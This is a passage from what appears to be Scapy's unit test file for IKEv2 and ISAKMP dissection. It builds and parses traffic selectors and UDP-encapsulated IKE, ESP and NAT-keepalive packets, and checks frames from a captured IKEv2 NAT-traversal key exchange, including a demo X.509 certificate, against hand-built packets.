TrafficSelector(raw(EncryptedTrafficSelector())) assert isinstance(a, IPv4TrafficSelector) assert isinstance(b, IPv6TrafficSelector) assert isinstance(c, EncryptedTrafficSelector) = Test TSi with multiple TrafficSelector dissection a = IKEv2_TSi() a.traffic_selector.extend(IPv4TrafficSelector() * 2) a.traffic_selector.extend(IPv6TrafficSelector() * 3) assert len(a.traffic_selector) == 5 b = IKEv2_TSi(raw(a)) assert len(b.traffic_selector) == 5 = Test automatic calculation of number_of_TSs field a = IKEv2_TSi(traffic_selector=IPv4TrafficSelector() * 2) b = IKEv2_TSi(raw(a)) assert b.number_of_TSs == 2 c = IKEv2_TSr(traffic_selector=IPv4TrafficSelector() * 2) d = IKEv2_TSr(raw(c)) assert d.number_of_TSs == 2 = IKEv2_Encrypted_Fragment, simple tests s = b"\x00\x00\x00\x08\x00\x01\x00\x01" assert raw(IKEv2_Encrypted_Fragment()) == s p = IKEv2_Encrypted_Fragment(s) assert p.length == 8 and p.frag_number == 1 = Build and dissect UDP encapsulated IKEv1 packets pkt = Ether() / IP() / UDP() / NON_ESP() / ISAKMP(init_cookie = b'\x01\x02\x03\x04\x05\x06\x07\x08', resp_cookie = b'\x08\x07\x06\x05\x04\x03\x02\x01') pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NON_ESP].non_esp == 0x00 assert pkt[ISAKMP].version == 0x10 assert pkt[ISAKMP].init_cookie == b'\x01\x02\x03\x04\x05\x06\x07\x08' assert pkt[ISAKMP].resp_cookie == b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt = Ether(raw(pkt)) pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NON_ESP].non_esp == 0x00 assert pkt[ISAKMP].version == 0x10 assert pkt[ISAKMP].init_cookie == b'\x01\x02\x03\x04\x05\x06\x07\x08' assert pkt[ISAKMP].resp_cookie == b'\x08\x07\x06\x05\x04\x03\x02\x01' # the IKEv1 and IKEv2 headers are compatible, so changing the version to 0x02... pkt[ISAKMP].version = 0x20 # ...should turn the ISAKMP packet into an IKEv2 packet after building and dissecting pkt = Ether(raw(pkt)) pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NON_ESP].non_esp == 0x00 assert pkt[IKEv2].version == 0x20 assert pkt[IKEv2].init_SPI == b'\x01\x02\x03\x04\x05\x06\x07\x08' assert pkt[IKEv2].resp_SPI == b'\x08\x07\x06\x05\x04\x03\x02\x01' = Build and dissect UDP encapsulated IKEv2 packets pkt = Ether() / IP() / UDP() / NON_ESP() / IKEv2(init_SPI = b'\x01\x02\x03\x04\x05\x06\x07\x08', resp_SPI = b'\x08\x07\x06\x05\x04\x03\x02\x01') pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NON_ESP].non_esp == 0x00 assert pkt[IKEv2].version == 0x20 assert pkt[IKEv2].init_SPI == b'\x01\x02\x03\x04\x05\x06\x07\x08' assert pkt[IKEv2].resp_SPI == b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt = Ether(raw(pkt)) pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NON_ESP].non_esp == 0x00 assert pkt[IKEv2].version == 0x20 assert pkt[IKEv2].init_SPI == b'\x01\x02\x03\x04\x05\x06\x07\x08' assert pkt[IKEv2].resp_SPI == b'\x08\x07\x06\x05\x04\x03\x02\x01' # the IKEv1 and IKEv2 headers are compatible, so changing the version to 0x01... pkt[IKEv2].version = 0x10 # ...should turn the IKEv2 packet into an ISAKMP packet after building and dissecting pkt = Ether(raw(pkt)) pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NON_ESP].non_esp == 0x00 assert pkt[ISAKMP].version == 0x10 assert pkt[ISAKMP].init_cookie == b'\x01\x02\x03\x04\x05\x06\x07\x08' assert pkt[ISAKMP].resp_cookie == b'\x08\x07\x06\x05\x04\x03\x02\x01' = Build and dissect UDP encapsulated ESP packets pkt = Ether() / IP() / UDP() / ESP(spi = 0x01020304) pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[ESP].spi == 0x01020304 pkt = Ether(raw(pkt)) pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[ESP].spi == 0x01020304 = Build and dissect UDP encapsulated NAT-keepalive packets pkt = Ether() / IP() / UDP() / NAT_KEEPALIVE() pkt.show() assert pkt[UDP].sport == 4500 assert pkt[UDP].dport == 4500 assert pkt[NAT_KEEPALIVE].nat_keepalive == 0xFF pkt = Ether(b'DNm\xa4\xf6G`W\x18\x93\x9c\x7f\x08\x00E\x00\x00\x1d\xfb.\x00\x00\x80\x11\x9a\x16\xc0\xa8\x01\x1c>\x99\xa5-*\xca\x11\x94\x00\t\x1e\xf2\xff') pkt.show() assert pkt[UDP].dport == 4500 assert pkt[NAT_KEEPALIVE].nat_keepalive == 0xFF + Wireshark Captures = IKEv2 key exchange with NAT-traversal * Loads and dissects the four frames of the key exchange from a Wireshark * capture and compares them with manually built scapy packets. pcap = rdpcap(scapy_path("/test/pcaps/ikev2_nat_t.pcapng"), count=4) ike_auth_request_encrypted_payload = binascii.unhexlify(''.join(""" be11 14ab1abe02954640 ce512b03d6527a50 dd17707ff420b9b5 b02d2874c57afdd3 fa95b15693017a12 8333c8d694f2cd61 e98b0717f65e1860 430f0699a4174af6 a6c929ff4114b686 f201f471ff9b191e 4d4cbd43dd994ef6 d5179b6845843d2d 1502f16d4356dc3b ad819c1b0549296b dbe479878dbc8a8b e71f9017946bc198 ef010f83a69a5d81 a312be0df9afa949 e3f0807bd2785498 c0c492f0bcde5085 b2df1187657cbf23 e11c25558af278d0 1bceadf5548a8990 a6adea270410cb16 1786e0798ed8f047 3442b43399e42122 6f2ee1e2b0787dfc f56b7b32f3d0b02d 038764ce8ffee757 b94896763c68c2bb 2a94dec851dcf7e4 489ba8e431d1c63c f5d19a097674b513 58e6b5052a87dd48 bb3be834b06ab704 579fcac6f6bf647c 87b4c5c0b7353df6 0b55e32a75ac4ced 3c1724d32a068207 226769352b08eefb 195da55e29c3eea1 05f0fd024029e0d7 8b83757bd1b6052a 64febad6779cfca3 5b9a2529dc15d2a5 ee8825a2ab3e72ed e84aaeb86e8debd6 2a9b3d6503dd6c1a 7e03b87b81578dc0 fb087a5ad2d6bf6b d149d108defcabb5 721f8b4ebf1b9b78 80bdd2fc93856afe 4f54a32125964bbc fd917239f5af1db9 cd3d188ab7165826 7a445c13d2147169 5da3f3a674c2baaf 5fd7636cc8ca4b43 142fd2588bb31fdd d6a42b20ebc03b01 04e8beb1356fc863 0bd95de8574e16fe 14cfa9a6455e20e9 eb08bf632cea53e7 c614277e32fa81d9 cb2efed29b04377a 748bfab753058349 f21a03fa5c5f478b c0bd993ca3e982b9 d19fa8d24306e46a b41d9bbfd1d2e2da 112b6c840cc7b86b 8e005aa71b5339d1 ff2eabb0124df2bf 910173c17380a7e3 85d22f94fa6e3f78 bce897a9a37e08c1 1124661701dfd643 bba0c4ab4d8e19bb 95478e272d61c1a1 6d4e562f25c3c0a1 69d39a84045183e2 684ac80ab6e18f20 dc4cc8d5b1d83293 07766d58695eff56 14c207e045152933 07f9dbeb621e1c25 665f75f55e1ae90c aa43a500fa1ecf18 3d7e7d46db8eae03 e1bc7a3aefab0c00 9884ca11e7889841 8459936a02699e5f 7f798d3c81de4933 a7f14f62aa5c31ae 2693089ca1df68a5 2cd338d5d2539053 5099dd4f0646318f 079822b43f5a47b7 db9eba75ef843a42 98fb9e695a349824 bef5ee441997f7c5 303c4f8288bb8be1 6cc72fc348c777ec 7ce8b0f032633890 f01fbeef028f3bb5 ffd1ec663e9304cf 745d4659fc67f32d cffffa9deae65066 5a2779b742057d71 86bd2603ce0946c4 1589d63fae9c404d 6c7f793a436c775a d7d34f2dd609a272 4ac70b514a76d248 8eefb6fc2f3bd196 4dfc1a0d652e89a9 e0b3278bc2c4c961 19df82bdc3b1f99d 399b0dbf62d23ea3 a7e940177525130b df5960b33b3d2d73 28d98a5fd9bbec2e 71404b77facc8053 a14feafd49bf150f 450384b99d392549 31f06ac18d225368 5c52b4ee6ad50337 dbce7f72bf56e4bf 55fdf3fd42c39c7d 65a48987ad84d1e0 c4e4543463c95a8e 646744240fdc00b6 0c009f4afd15b800 182a5004e4062557 e7b20115e01d1cc3 5eb8d01e22f0bf2d bb2db84a970934d0 5f9b0d5e5350a45f 733a747e229eca56 087886a5c09efac8 0c9545e6d849189b 40d7e7b9da4a9f04 9fb0273c3a2ad370 a84d5e7db14c362c c84483bbe70f2573 8116b11b877a7939 628a2dec6a590056 fdc7ce849770f12d 0f63a701e672cf93 75c68c4325e60e3e ae46c7dd014df09d 4594339fa5e82ab3 9de316df933694da e20120886403 """.split())) ike_auth_response_encrypted_payload = binascii.unhexlify(''.join(""" 0fb3 4e8905b03a3d9b97 70f3e63428ab00be 1bc29397bec721ef 9bd02e6cc64a309b 0c0dd67e4442f235 c201ccb5f6b8c8b0 26baaaf0dce597c0 dd610ebbc4aa2d07 8cbd6fdc2dd879a9 f3216edaabd965d8 5fe04a202615c5c6 08b0caf7db24dc08 4d0d86e560ccb75e 209941a2945bab45 0795b96cc4f03752 163825f1be62d009 038f29f25956f3e9 3648ea647af4fbea 52a19bbf16074ed3 9161cfd1a1695176 059cbfc48c57755f b1b1b397155171a0 b11e10d3f476512b 73687912265ccb6f 1fef5aa5dee1ffc3 a5ecc574a76d529b 884f819f859c015a a3977230a69657d7 1d54b5cfebcc135a 4010294fdc98db45 e933cfeca0d638b1 f3f42c863be5501c 105ebc0efc4a8dd2 e48fdc4f35a59068 5b1c073f6dd368fa 4ac1af60469f5ac0 d209445259a5ec1c e1ce59fad2dd60bb 11eae2a678095d99 7b69733553933371 b083e1f94d5bd71d b9fc9167068f4565 1f9de7b7cfa30e6f 54f65e2c9f1a6d88 ff7beff94532af43 ce9067db85fd3679 5a8ad841889285f4 f27d740d8da1429b 0764f789f314e20f 5a08258b4bdfd75d 7b7b9cb4b0bb7c2b a469ac24545f2fbe 0621bdaa76898cb6 cb3bbd334c6b6394 ef7e1cf31df2dd0b 86089a654b942f6e fb7ee5ba401200e0 d727791fc3f978dc f446067cd054e664 69ea05784e61ce67 a1fe98a73d22962d 703ad51ff1091920 f111c2f1535197f8 72471fc2b482b55b 15bfb7525c4c1b4d 8b9a1b98534dcea5 8343e35e0ecb0164 953604b8687315b8 86509cc26b8730be f8ef669e77466628 2da94192b67f0c4a 56ff1f7b3a080e4f 0e9ed767d497e8d3 1807169a7c62b80c c27c8e4907d59b02 a9d5fd0b9aa8ed96 7bd26a1ad6bce39b 562382ccfc6102d3 5d4cefd222eadfc4 cffff96f16e69c4a 7b7367dbf48a13c2 1c95ef3b3bf7e1fb b240854e6c40b8a8 a8e957919e088d36 4e1da0c0130ae87b 83e980f6f14a9cfa fe8e956d489a03aa c365767ec06cee58 04ed81cfe559a8a5 ed00e0ae964e2705 d2c9011390ba6afd 262b4527144ce8b6 4d438ebddd94eb2c e39c6c254547f0d4 27b4abf5217c9588 f96dc393517bfab2 50153321ddced8e2 dbb52454e342a483 1af575c5420b5d37 42aa9ae79e3e7187 3117fd36c856e1c0 317b4ad2d1d3fe38 b528eb3438210e14 d10e5d2d9feff9d8 1f6fdefde57da710 db7f72e03d154aba 61bacccd26c0a80f e710f55eb5bb59db 2c0aec7f1003fb4f 1ffd219932bc8e7f 4f7ced086f6c3067 7610e78a6e8e04dc 330cd2da1ffb181a e09b5b52b9ea366b ea88329e2c2d6f51 68b1b2b7ac118861 a56cdc43402d89d6 26344a127a7cb39a 3f2e1a8ae35b72fa c0b8eb83622cd944 fe86bc8f340ea1a0 81fb980c9e6baa8e f9c1b37d11b13d51 e0cf72aac6dbfab9 49f8443d4f3098f9 b022ea0fa25dd418 f9cc26d0b8358ddd 778204fd9da6374a 46c4cc1777485acc b9c3975a1c12d9f3 ac326a8e37ca3c17 31a0b6f163a4335c 1c589d52d8b82699 c0c1b31b6b58a7d6 76d3eeca77a0b4ee 289b11494a217031 d464e32c28e7c109 5afdad0297c5dd65 1ad1a856f330647a 4ba7be0eee67eace e4a8137709b1234e 07909fb464b5b4fe f63e8829a9f066dc ecb8c12cf91836cd 7b7300b86ecea0f7 467b2991832c8380 3e5f02e1b663e064 e4bd991caa1bcadb 38d984595233f6aa 5c7079217ea5405e 72a515e9f787d3d9 0a48cb098216f8ff a94ddd0bd8634d48 2f4ffcb96dd81e66 0a4324eb34f6 """.split())) frames = [ ( # i: frame number 0, # title: "IKE_SA_INIT request", # data: raw frame data binascii.unhexlify(''.join(""" 005056eddb32000c 2930109e08004500 014cedc240004011 da45c0a8f583ac10 0f5c2aca11940138 97c9000000008992 2c915f35570e0000 0000000000002120 2208000000000000 012c220000280000 0024010100030300 000c01000014800e 0100030000080200 0005000000080400 0013280000480013 0000db253178440c e776a794133cb8b6 9e5eb07473353657 0c64d7b630549c89 9c0712d828b37168 500885e051024578 afc75c101f73b894 3cad62d74a30f2be 1fca2b00002c09cb 538b2c3dbd4d0bb0 eec8d318cb801a9b 4715b207828d9b5f f1f4ec64ed588637 07bcf14ccf052b00 0014eb4c1b788afd 4a9cb7730a68d56c 53212b000014c61b aca1f1a60cc10800 0000000000002b00 00184048b7d56ebc e88525e7de7f00d6 c2d3c00000002900 00144048b7d56ebc e88525e7de7f00d6 c2d3290000080000 402e290000080000 4016000000100000 402f000100020003 0004 """.split())), # packet: Ether / IP / UDP / NON_ESP / IKEv2 / ... Ether(dst='00:50:56:ed:db:32', src='00:0c:29:30:10:9e', type='IPv4') / IP(version=4, ihl=5, tos=0x0, len=332, id=60866, flags='DF', frag=0, ttl=64, proto='udp', chksum=0xda45, src='192.168.245.131', dst='172.16.15.92') / UDP(sport=10954, dport=4500, len=312, chksum=0x97c9) / NON_ESP() / IKEv2( init_SPI=b'\x89\x92\x2c\x91\x5f\x35\x57\x0e', resp_SPI=b'\x00\x00\x00\x00\x00\x00\x00\x00', next_payload='SA', version=0x20, exch_type='IKE_SA_INIT', flags='Initiator', id=0, length=300 ) / IKEv2_SA( next_payload='KE', flags='', length=40, prop=IKEv2_Proposal( next_payload='None', flags='', length=36, proposal=1, proto='IKE', trans_nb=3, trans=( IKEv2_Transform( next_payload='Transform', flags='', length=12, transform_type='Encryption', res2=0, transform_id='AES-GCM-16ICV', key_length=256 ) / IKEv2_Transform( next_payload='Transform', flags='', length=8, transform_type='PRF', res2=0, transform_id='PRF_HMAC_SHA2_256' ) / IKEv2_Transform( next_payload='None', flags='', length=8, transform_type='GroupDesc', res2=0, transform_id='256randECPgr' ) ) ) ) / IKEv2_KE( next_payload='Nonce', flags='', length=72, group='256randECPgr', res2=0, ke=b'\xdb%1xD\x0c\xe7v\xa7\x94\x13<\xb8\xb6\x9e^\xb0ts56W\x0cd\xd7\xb60T\x9c\x89\x9c\x07\x12\xd8(\xb3qhP\x08\x85\xe0Q\x02Ex\xaf\xc7\\\x10\x1fs\xb8\x94<\xadb\xd7J0\xf2\xbe\x1f\xca' ) / IKEv2_Nonce( next_payload='VendorID', flags='', length=44, nonce=b'\t\xcbS\x8b,=\xbdM\x0b\xb0\xee\xc8\xd3\x18\xcb\x80\x1a\x9bG\x15\xb2\x07\x82\x8d\x9b_\xf1\xf4\xecd\xedX\x867\x07\xbc\xf1L\xcf\x05' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=20, vendorID=b'\xebL\x1bx\x8a\xfdJ\x9c\xb7s\nh\xd5lS!' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=20, vendorID=b'\xc6\x1b\xac\xa1\xf1\xa6\x0c\xc1\x08\x00\x00\x00\x00\x00\x00\x00' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=24, vendorID=b'@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\xc0\x00\x00\x00' ) / IKEv2_VendorID( next_payload='Notify', flags='', length=20, vendorID=b'@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3' ) / IKEv2_Notify( next_payload='Notify', flags='', length=8, type='IKEV2_FRAGMENTATION_SUPPORTED', ) / IKEv2_Notify( next_payload='Notify', flags='', length=8, type='REDIRECT_SUPPORTED', ) / IKEv2_Notify( next_payload='None', flags='', length=16, type='SIGNATURE_HASH_ALGORITHMS', notify=b'\x00\x01\x00\x02\x00\x03\x00\x04' ) ), ( # i: frame number 1, # title: "IKE_SA_INIT response", # data: raw frame data binascii.unhexlify(''.join(""" 000c2930109e0050 56eddb3208004500 0151a5dc00008011 2227ac100f5cc0a8 f58311942aca013d af99000000008992 2c915f35570e98d5 6d32e2a047422120 2220000000000000 0131220000280000 0024010100030300 000c01000014800e 0100030000080200 0005000000080400 0013280000480013 00001d9cd5974c95 0c95e0544483fb1f 7a9132f5fe8959c0 9ab3a54c779ff2bc f4522a030dc33b9d 5ddfeb99e028c0e8 ba7d80dfdcf12b15 16dbe180e6aec664 428b2600002c1d10 7dc5a7463da7d761 014139fb381af9cd 3b8c0181e6cd36a8 ae105e55aa7fe71f 5db1d36c29152b00 0005042b00001840 48b7d56ebce88525 e7de7f00d6c2d3c0 0000002b00001440 48b7d56ebce88525 e7de7f00d6c2d32b 000014c6f57ac398 f493208145b7581e 8789832900001485 817703c6e320d2ae 5a4dd02056c6d729 0000080000402e29 0000100000402f00 0100020003000400 00000800004014 """.split())), # packet: Ether / IP / UDP / NON_ESP / IKEv2 / ... Ether(dst='00:0c:29:30:10:9e', src='00:50:56:ed:db:32', type='IPv4') / IP(version=4, ihl=5, tos=0x0, len=337, id=42460, flags='', frag=0, ttl=128, proto='udp', chksum=0x2227, src='172.16.15.92', dst='192.168.245.131') / UDP(sport=4500, dport=10954, len=317, chksum=0xaf99) / NON_ESP() / IKEv2( init_SPI=b'\x89\x92\x2c\x91\x5f\x35\x57\x0e', resp_SPI=b'\x98\xd5\x6d\x32\xe2\xa0\x47\x42', next_payload='SA', version=0x20, exch_type='IKE_SA_INIT', flags='Response', id=0, length=305 ) / IKEv2_SA( next_payload='KE', flags='', length=40, prop=IKEv2_Proposal( next_payload='None', flags='', length=36, proposal=1, proto='IKE', trans_nb=3, trans=( IKEv2_Transform( next_payload='Transform', flags='', length=12, transform_type='Encryption', res2=0, transform_id='AES-GCM-16ICV', key_length=256 ) / IKEv2_Transform( next_payload='Transform', flags='', length=8, transform_type='PRF', res2=0, transform_id='PRF_HMAC_SHA2_256' ) / IKEv2_Transform( next_payload='None', flags='', length=8, transform_type='GroupDesc', res2=0, transform_id='256randECPgr' ) ) ) ) / IKEv2_KE( next_payload='Nonce', flags='', length=72, group='256randECPgr', res2=0, ke=b'\x1d\x9c\xd5\x97L\x95\x0c\x95\xe0TD\x83\xfb\x1fz\x912\xf5\xfe\x89Y\xc0\x9a\xb3\xa5Lw\x9f\xf2\xbc\xf4R*\x03\r\xc3;\x9d]\xdf\xeb\x99\xe0(\xc0\xe8\xba}\x80\xdf\xdc\xf1+\x15\x16\xdb\xe1\x80\xe6\xae\xc6dB\x8b' ) / IKEv2_Nonce( next_payload='CERTREQ', flags='', length=44, nonce=b'\x1d\x10}\xc5\xa7F=\xa7\xd7a\x01A9\xfb8\x1a\xf9\xcd;\x8c\x01\x81\xe6\xcd6\xa8\xae\x10^U\xaa\x7f\xe7\x1f]\xb1\xd3l)\x15' ) / IKEv2_CERTREQ( next_payload='VendorID', flags='', length=5, cert_encoding='X.509 Certificate - Signature', cert_authority=b'' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=24, vendorID=b'@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\xc0\x00\x00\x00' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=20, vendorID=b'@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3' ) / IKEv2_VendorID( next_payload='VendorID', flags='', length=20, vendorID=b'\xc6\xf5z\xc3\x98\xf4\x93 \x81E\xb7X\x1e\x87\x89\x83' ) / IKEv2_VendorID( next_payload='Notify', flags='', length=20, vendorID=b'\x85\x81w\x03\xc6\xe3 \xd2\xaeZM\xd0 V\xc6\xd7' ) / IKEv2_Notify( next_payload='Notify', flags='', length=8, type='IKEV2_FRAGMENTATION_SUPPORTED', ) / IKEv2_Notify( next_payload='Notify', flags='', length=16, type='SIGNATURE_HASH_ALGORITHMS', notify=b'\x00\x01\x00\x02\x00\x03\x00\x04' ) / IKEv2_Notify( next_payload='None', flags='', length=8, type='MULTIPLE_AUTH_SUPPORTED' ) ), ( # i: frame number 2, # title: "IKE_AUTH request", # data: raw frame data binascii.unhexlify(''.join(""" 005056eddb32000c 2930109e08004500 0520edc640004011 d66dc0a8f583ac10 0f5c2aca1194050c 8eb0000000008992 2c915f35570e98d5 6d32e2a047422e20 2308000000010000 0500230004e4 """.split())) + ike_auth_request_encrypted_payload, # packet: Ether / IP / UDP / NON_ESP / IKEv2 / ... Ether(dst='00:50:56:ed:db:32', src='00:0c:29:30:10:9e', type='IPv4') / IP(version=4, ihl=5, tos=0x0, len=1312, id=60870, flags='DF', frag=0, ttl=64, proto='udp', chksum=0xd66d, src='192.168.245.131', dst='172.16.15.92') / UDP(sport=10954, dport=4500, len=1292, chksum=0x8eb0) / NON_ESP() / IKEv2( init_SPI=b'\x89\x92\x2c\x91\x5f\x35\x57\x0e', resp_SPI=b'\x98\xd5\x6d\x32\xe2\xa0\x47\x42', next_payload='Encrypted', version=0x20, exch_type='IKE_AUTH', flags='Initiator', id=1, length=1280 ) / IKEv2_Encrypted( next_payload='IDi', flags='', length=1252, load = ike_auth_request_encrypted_payload ) ), ( # i: frame number 3, # title: "IKE_AUTH response", # data: raw frame data binascii.unhexlify(''.join(""" 000c2930109e0050 56eddb3208004500 0518a5dd00008011 1e5fac100f5cc0a8 f58311942aca0504 886e000000008992 2c915f35570e98d5 6d32e2a047422e20 2320000000010000 04f8240004dc """.split())) + ike_auth_response_encrypted_payload, # packet: Ether / IP / UDP / NON_ESP / IKEv2 / ... Ether(dst='00:0c:29:30:10:9e', src='00:50:56:ed:db:32', type='IPv4') / IP(version=4, ihl=5, tos=0x0, len=1304, id=42461, flags='', frag=0, ttl=128, proto='udp', chksum=0x1e5f, src='172.16.15.92', dst='192.168.245.131') / UDP(sport=4500, dport=10954, len=1284, chksum=0x886e) / NON_ESP() / IKEv2( init_SPI=b'\x89\x92\x2c\x91\x5f\x35\x57\x0e', resp_SPI=b'\x98\xd5\x6d\x32\xe2\xa0\x47\x42', next_payload='Encrypted', version=0x20, exch_type='IKE_AUTH', flags='Response', id=1, length=1272 ) / IKEv2_Encrypted( next_payload='IDr', flags='', length=1244, load=ike_auth_response_encrypted_payload ) ), ( # i: frame number -2, # title: "IKE_AUTH request, decrypted", binascii.unhexlify(''.join(""" 005056eddb32000c 2930109e08004500 0520edc640004011 d66dc0a8f583ac10 0f5c2aca1194050c 8eb0000000008992 2c915f35570e98d5 6d32e2a047422320 2308000000010000 0500250000120300 0000696b6576322d 63657274290002dc 04308202d3308202 79a0030201020204 01000013300a0608 2a8648ce3d040302 304b310b30090603 5504061302444531 0f300d0603550408 130642617965726e 310c300a06035504 0a13034e4350311d 301b060355040313 144e43502044656d 6f20434120454343 2032303530302218 0f32303136303830 343038303031335a 180f323035303038 3035303830303133 5a3074310b300906 0355040613024445 311a301806035504 0a0c1144656d6f20 4f7267616e697a61 74696f6e3110300e 060355040b0c0744 656d6f204f553110 300e06035504030c 07436c69656e7431 3125302306092a86 4886f70d01090116 16636c69656e7431 4064656d6f2e6e63 702d652e636f6d30 59301306072a8648 ce3d020106082a86 48ce3d0301070342 0004b74572a1b5dd 1c4cafdab7f06a92 913cab7ee2a55106 efa4056e2dc17369 600510553454e37e 69e9a08c5abae5a0 5a77e01ebb04e4b2 72fe349f12a34088 ceeaa382011c3082 011830090603551d 1304023000300b06 03551d0f04040302 05a0301d0603551d 250416301406082b 0601050507030206 082b060105050703 07301d0603551d0e 041604145a5e6aa2 9f89959131c17018 ef64dc2a8a4a4a6a 30750603551d2304 6e306c801425db6d 44dec7a03eb5f862 3ab18784546a0f04 09a14fa44d304b31 0b30090603550406 13024445310f300d 0603550408130642 617965726e310c30 0a060355040a1303 4e4350311d301b06 0355040313144e43 502044656d6f2043 4120454343203230 3530820302000230 490603551d110442 3040a026060a2b06 0104018237140203 a0180c16436c6965 6e74314064656d6f 2e6e63702d652e63 6f6d8116436c6965 6e74314064656d6f 2e6e63702d652e63 6f6d300a06082a86 48ce3d0403020348 0030450220602d76 6db7e07b70d88e38 10acc6cd350ccdda 1e60d77bd36ed6e6 0f869ef371022100 d1e3d278fcacf41c d8380691363ad393 3d6bc293fae9c847 ddf6187bb0f06f49 2900000801004000 2600000801004008 270000410491c1dc 0f2a8f0e3bd7da99 1a43a39226355e42 29bcb62a0e9de979 fda864e3f06460dc aaff850759f48956 233865214e9a10e6 376f4c59b5c02f36 6d2f00005c0e0000 000c300a06082a86 48ce3d0403023045 022100c1486ab5b3 db4c8b08f3ae0613 20104c826fb0803b a1e6e30d58c8000b ac514202205865ea 41bc99e0adfa2856 770efaff530f2e85 50da1d86f8504df0 04025fb12d210000 8001000000000100 0000020000000300 00000400004e2200 0000080000000900 00000a0000001900 0000070000700000 0070010000700200 004e2600004e2700 0070030000700400 0070050000700600 0070070000700800 00700900004e2300 004e240000700a00 004e250006646562 69616e700a000664 656269616e2c0000 2400000020010304 02c1a9656b030000 0c01000014800e00 8000000008050000 002d000018010000 00070000100000ff ff00000000ffffff ff2b000018010000 00070000100000ff ffc0a8e100c0a8e1 ff2b000014afcad7 1368a1f1c96b8696 fc775701002b0000 14c61baca1f1a60c c208000000000000 002900001c4e6350 0a09b8e83c80b693 36268ec8f6000c29 30109e0000290000 080000400c000000 0800004014 """.split())), Ether(dst='00:50:56:ed:db:32', src='00:0c:29:30:10:9e', type='IPv4') / IP(version=4, ihl=5, tos=0x0, len=1312, id=60870, flags='DF', frag=0, ttl=64, proto='udp', chksum=0xd66d, src='192.168.245.131', dst='172.16.15.92') / UDP(sport=10954, dport=4500, len=1292, chksum=0x8eb0) / NON_ESP(non_esp=0x0) / IKEv2( init_SPI=b'\x89\x92\x2c\x91\x5f\x35\x57\x0e', resp_SPI=b'\x98\xd5m2\xe2\xa0GB', next_payload='IDi', version=0x20, exch_type='IKE_AUTH', flags='Initiator', id=1, length=1280 ) / IKEv2_IDi( next_payload='CERT', flags='', length=18, IDtype='Email_addr', res2=0x0, ID='ikev2-cert' ) / IKEv2_CERT( next_payload='Notify', flags='', length=732, cert_encoding='X.509 Certificate - Signature', cert_data=X509_Cert( tbsCertificate=X509_TBSCertificate( version=ASN1_INTEGER(2), serialNumber=ASN1_INTEGER(0x1000013), signature=X509_AlgorithmIdentifier( algorithm=ASN1_OID('ecdsa-with-SHA256'), parameters=None ), issuer=[ X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050'))) ], validity=X509_Validity( not_before=ASN1_GENERALIZED_TIME('20160804080013Z'), not_after=ASN1_GENERALIZED_TIME('20500805080013Z') ), subject=[ X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))), X509_RDN(rdn=(X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_UTF8_STRING(b'Demo Organization')))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationUnitName'), value=ASN1_UTF8_STRING(b'Demo OU'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_UTF8_STRING(b'Client1'))), X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('emailAddress'), value=ASN1_IA5_STRING(b'client1@demo.ncp-e.com'))) ], subjectPublicKeyInfo=X509_SubjectPublicKeyInfo( signatureAlgorithm=X509_AlgorithmIdentifier( algorithm=ASN1_OID('ecPublicKey'), parameters=ECParameters(curve=ASN1_OID('prime256v1'))), subjectPublicKey=ECDSAPublicKey( ecPoint=ASN1_BIT_STRING( '000001001011011101000101011100101010000110110101110111010001110' '001001100101011111101101010110111111100000110101010010010100100' '010011110010101011011111101110001010100101010100010000011011101' '111101001000000010101101110001011011100000101110011011010010110' '000000000101000100000101010100110100010101001110001101111110011' '010011110100110100000100011000101101010111010111001011010000001' '011010011101111110000000011110101110110000010011100100101100100' '111001011111110001101001001111100010010101000110100000010001000' '1100111011101010'))), issuerUniqueID=None, subjectUniqueID=None, extensions=[ X509_Extension( extnID=ASN1_OID('basicConstraints'), critical=None, extnValue=X509_ExtBasicConstraints(cA=None, pathLenConstraint=None) ), X509_Extension( extnID=ASN1_OID('keyUsage'), critical=None, extnValue=X509_ExtKeyUsage(keyUsage=ASN1_BIT_STRING('101')) ), X509_Extension( extnID=ASN1_OID('extKeyUsage'), critical=None, extnValue=X509_ExtExtendedKeyUsage( extendedKeyUsage=[ ASN1P_OID(oid=ASN1_OID('clientAuth')), ASN1P_OID(oid=ASN1_OID('ipsecUser')) ] ) ), X509_Extension( 